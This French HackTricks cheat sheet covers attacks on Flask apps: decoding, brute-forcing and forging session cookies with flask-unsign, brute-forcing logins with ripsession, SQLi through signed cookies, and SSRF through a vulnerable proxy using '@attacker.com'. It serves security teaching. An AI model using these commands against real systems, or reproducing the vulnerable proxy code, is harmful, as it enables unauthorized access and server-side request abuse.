Flask
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.
Probablement si vous jouez à un CTF une application Flask sera liée à SSTI.
Cookies
Default cookie session name is session.
Décodeur
Décodeur de cookies Flask en ligne : https://www.kirsle.net/wizards/flask-session.cgi
Manuel
Prenez la première partie du cookie jusqu’au premier point et décodez-la en Base64 :
echo "ImhlbGxvIg" | base64 -d
Le cookie est également signé à l’aide d’un mot de passe
Flask-Unsign
Outil en ligne de commande pour récupérer, décoder, brute-force et forger des session cookies d’une application Flask en devinant les secret keys.
pip3 install flask-unsign
Décoder le cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Signature
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Signature en utilisant les versions legacy (anciennes versions)
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Outil en ligne de commande pour brute-force des sites web en utilisant des cookies générés avec flask-unsign.
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi dans Flask session cookie avec SQLmap
Cet exemple utilise l’option sqlmap eval pour automatically sign sqlmap payloads pour flask en utilisant un secret connu.
Flask Proxy vers SSRF
Dans cet article il est expliqué comment Flask permet une requête commençant par le caractère “@”:
GET @/ HTTP/1.1
Host: target.com
Connection: close
Lequel, dans le scénario suivant :
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Pourrait permettre d’introduire quelque chose comme “@attacker.com” afin de provoquer une SSRF.
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.


